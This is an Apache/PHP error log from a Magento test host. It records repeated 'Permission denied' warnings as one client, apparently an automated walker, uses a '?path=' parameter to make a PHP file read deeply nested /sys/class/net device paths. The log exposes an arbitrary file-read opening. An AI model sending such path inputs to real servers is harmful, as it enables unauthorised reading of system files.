[Thu Mar 26 11:28:21.175624 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee
[Thu Mar 26 11:28:21.655382 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:28:22.171861 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers/ec
[Thu Mar 26 11:28:23.203303 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/drivers/ac
[Thu Mar 26 11:28:25.403190 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:28:28.115088 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:de
[Thu Mar 26 11:28:29.617964 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:28:31.709250 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:aa
[Thu Mar 26 11:28:37.501394 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/drivers/ec
[Thu Mar 26 11:28:41.777439 2026] [php:warn] [pid 3106744] [client 74.7.241.26:46794] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:28:46.307728 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:28:48.935215 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:cc
[Thu Mar 26 11:28:51.137748 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:aa
[Thu Mar 26 11:28:51.619718 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:28:53.169077 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers/ec
[Thu Mar 26 11:28:53.712542 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:28:54.245586 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ba
[Thu Mar 26 11:28:58.483903 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:29:00.052861 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc
[Thu Mar 26 11:29:02.652675 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:29:04.777770 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/drivers/ac
[Thu Mar 26 11:29:06.991173 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:db/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:db/device:dc
[Thu Mar 26 11:29:08.559526 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:de
[Thu Mar 26 11:29:12.654108 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:da
[Thu Mar 26 11:29:13.246147 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ee
[Thu Mar 26 11:29:16.384943 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:29:18.036906 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:be
[Thu Mar 26 11:29:20.165712 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:29:23.859726 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:29:25.427727 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:29:27.614955 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:29:28.105284 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ce
[Thu Mar 26 11:29:28.663899 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:fc
[Thu Mar 26 11:29:32.314679 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:ba
[Thu Mar 26 11:29:34.926496 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:cc
[Thu Mar 26 11:29:35.466730 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers/ec
[Thu Mar 26 11:29:36.552979 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:29:37.601692 2026] [php:warn] [pid 3106758] [client 74.7.241.26:45278] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers/ac
[Thu Mar 26 11:29:47.412822 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/drivers/ec
[Thu Mar 26 11:29:48.281708 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ca
[Thu Mar 26 11:29:53.092749 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:be
[Thu Mar 26 11:29:54.060959 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ba
[Thu Mar 26 11:29:55.717740 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:29:56.813583 2026] [php:warn] [pid 3107073] [client 74.7.241.26:60036] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
